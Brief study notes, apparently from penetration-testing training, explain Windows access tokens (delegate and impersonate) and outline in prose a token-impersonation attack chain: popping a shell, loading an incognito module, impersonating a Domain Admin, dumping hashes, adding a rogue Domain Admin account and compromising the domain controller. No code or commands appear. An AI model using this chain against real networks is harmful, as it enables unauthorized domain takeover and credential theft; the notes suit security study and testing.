Temporary keys that allow you access to a system/network without having to provide credentials each time you access a file. Think cookies for computers.
Two types:
Delegate - Created for logging into a machine or using Remote Desktop
Impersonate - “non-interactive” such as attaching a network drive or a domain logon script
Why It’s Bad:
Pop a shell and load an incognito module.
Impersonate a domain user and dump hashes, but not as a Domain Admin.
What if a Domain Admin Token is Available?
Identify a Domain Admin user.
Impersonate that user and dump hashes as Domain Admin — you’re in!
Better Example:
Impersonate a Domain Admin.
Add a new user with Domain Admin privileges.
Compromise the Domain Controller (DC).
